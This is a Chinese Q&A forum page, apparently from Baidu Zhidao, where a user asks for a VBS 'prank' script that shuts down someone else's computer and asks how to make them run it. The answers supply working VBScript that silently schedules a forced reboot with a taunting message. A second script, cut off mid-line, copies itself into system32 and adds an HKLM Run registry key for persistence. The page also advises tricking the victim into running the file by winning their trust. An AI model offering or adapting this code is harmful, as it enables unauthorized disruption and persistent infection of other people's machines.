谁给我编一个vbs格式的整人代码

来源：百度知道 编辑：UC知道 时间：2024/06/05 10:09:43
内容很简单，就是让对方电脑关机
还有一点怎么把东西放到对方电脑上运行

set a = wscript.createobject("wscript.shell")
a.run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告诉你怎么办...嘿嘿..."" ",0 ,true
复制代码保存位**.vbs 发给你要整的人就可以了
3600是时间 想让它多久关机就让它多久关机~！
想要让对方运行你的程序就要看你自己的本事了
让他相信你..

on error resume next
Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "测试.vbs"
Key_data = "C:\windows\system32\测试.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject